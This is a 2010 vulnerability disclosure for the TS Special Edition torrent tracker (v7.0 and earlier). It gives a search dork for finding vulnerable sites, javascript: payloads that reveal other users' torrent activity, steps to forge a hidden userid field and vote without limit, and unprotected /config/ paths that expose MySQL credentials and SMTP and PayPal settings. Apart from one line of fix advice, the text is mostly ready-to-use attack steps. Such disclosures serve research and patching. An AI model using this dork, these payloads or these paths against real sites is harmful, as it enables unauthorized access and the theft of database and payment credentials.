TS Special Edition 7.0 Disclosure

`  
  
##############################################################################################  
#  
# TS Special Edition <= v.7.0 Multiple Vulnerabilities  
# Dork: "Powered by TS Special Edition"  
# Site: http://templateshares.net  
# Download: http://templateshares.net/special/purchase  
# Reported on 02/05/2010  
#  
# Author: IHTeam  
#  
##############################################################################################  
#  
# See any seed/leech files of any users  
#  
# 1) Open any userdatail you want (Ex: /userdetails.php?id=1)  
# 2) Paste in url bar this code for:  
# 2.1) javascript:TSAjaxRequest('showuploaded'); <---- See Uploaded Torrent  
# 2.2) javascript:TSAjaxRequest('showcompleted'); <---- See Completed   
Torrent  
# 2.3) javascript:TSAjaxRequest('showleechs'); <---- See In Leech   
Torrents  
# 2.4) javascript:TSAjaxRequest('showseeds'); <---- See In Seed Torrents  
# 2.5) javascript:TSAjaxRequest('showsnatches'); <---- See Recently   
Downloaded  
#  
##############################################################################################  
#  
# Bypass Vote System  
#  
# 1) Open any torrent file datail (Ex: /details.php?id=1)  
# 2) Edit HTML Source code with FireBug or Opera  
# 3) Search 'form id="quickrate"' and edit these information:  
# 3.1) <input type="hidden" value="CHAGE_YOUR_ID_HERE" name="userid">  
# 3.2) javascript:TSQuickRate('torrent_1', 'CHAGE_YOUR_ID_HERE');  
# 4) Apply changes and vote the torrent every time you want  
#  
##############################################################################################  
#  
# MySQL Credential  
#  
# You can see MySQL Credential by opening /config/DATABASE  
#  
# Ex: www.mysite.com/config/DATABASE  
#   
a:4:{s:10:"mysql_host";s:9:"HOSTNAME_OF_MYSQL_DATABASE";s:10:"mysql_user";s:11:"USERNAME_OF_MYSQL"  
#   
;s:10:"mysql_pass";s:10:"PASSWORD_OF_MYSQL";s:8:"mysql_db";s:21:"DATABASE_NAME";}  
#  
# It can be fixed adding .htaccess in /config/ directory  
##############################################################################################  
#  
# Others configuration files  
#  
# 1) /config/WAITSLOT  
# 2) /config/TWEAK  
# 3) /config/THEME  
# 4) /config/STAFFTEAM  
# 5) /config/SMTP  
# 6) /config/SEO  
# 7) /config/SECURITY  
# 8) /config/REDIRECT  
# 9) /config/PJIRC  
# 10) /config/PAYPAL  
# 11) /config/MAIN  
# 12) /config/KPS  
# 13) /config/FORUMCP  
# 14) /config/EXTRA  
# 15) /config/DATETIME  
# 16) /config/CLEANUP  
# 17) /pjirc/pjirc.cfg  
#  
##############################################################################################  
  
  
`